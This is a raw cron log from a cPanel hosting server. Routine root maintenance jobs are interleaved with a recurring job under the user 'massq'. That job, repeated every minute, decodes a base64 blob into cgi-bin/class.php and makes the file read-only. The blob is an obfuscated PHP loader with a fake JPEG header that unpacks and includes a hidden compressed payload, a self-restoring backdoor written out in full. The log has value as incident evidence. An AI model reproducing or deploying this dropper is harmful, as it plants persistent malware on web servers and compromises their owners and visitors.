Sep 10 05:22:01 server CROND[17144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:22:01 server CROND[17145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:22:01 server CROND[17146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:23:01 server CROND[17513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:23:01 server CROND[17514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:23:01 server CROND[17515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:24:01 server CROND[17899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:24:01 server CROND[17900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:24:01 server CROND[17901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:25:01 server CROND[18269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:25:01 server CROND[18270]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 05:25:01 server CROND[18271]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:25:01 server CROND[18274]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 05:25:01 server CROND[18280]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:25:01 server CROND[18277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:25:01 server CROND[18279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:26:01 server CROND[19186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:26:01 server CROND[19187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:26:01 server CROND[19188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:27:01 server CROND[19572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:27:01 server CROND[19573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:27:01 server CROND[19574]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 05:27:01 server CROND[19581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:28:01 server CROND[19952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:28:01 server CROND[19953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:28:01 server CROND[19954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:29:01 server CROND[20323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:29:01 server CROND[20324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:29:01 server CROND[20325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:30:01 server CROND[20703]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 05:30:01 server CROND[20705]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep 10 05:30:01 server CROND[20708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:30:01 server CROND[20710]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 05:30:01 server CROND[20711]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 05:30:01 server CROND[20714]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:30:01 server CROND[20716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:30:01 server CROND[20717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:30:01 server CROND[20712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:31:01 server CROND[21587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:31:01 server CROND[21588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:31:01 server CROND[21589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:32:01 server CROND[22050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:32:01 server CROND[22052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:32:01 server CROND[22051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:33:01 server CROND[22419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:33:01 server CROND[22420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:33:01 server CROND[22421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
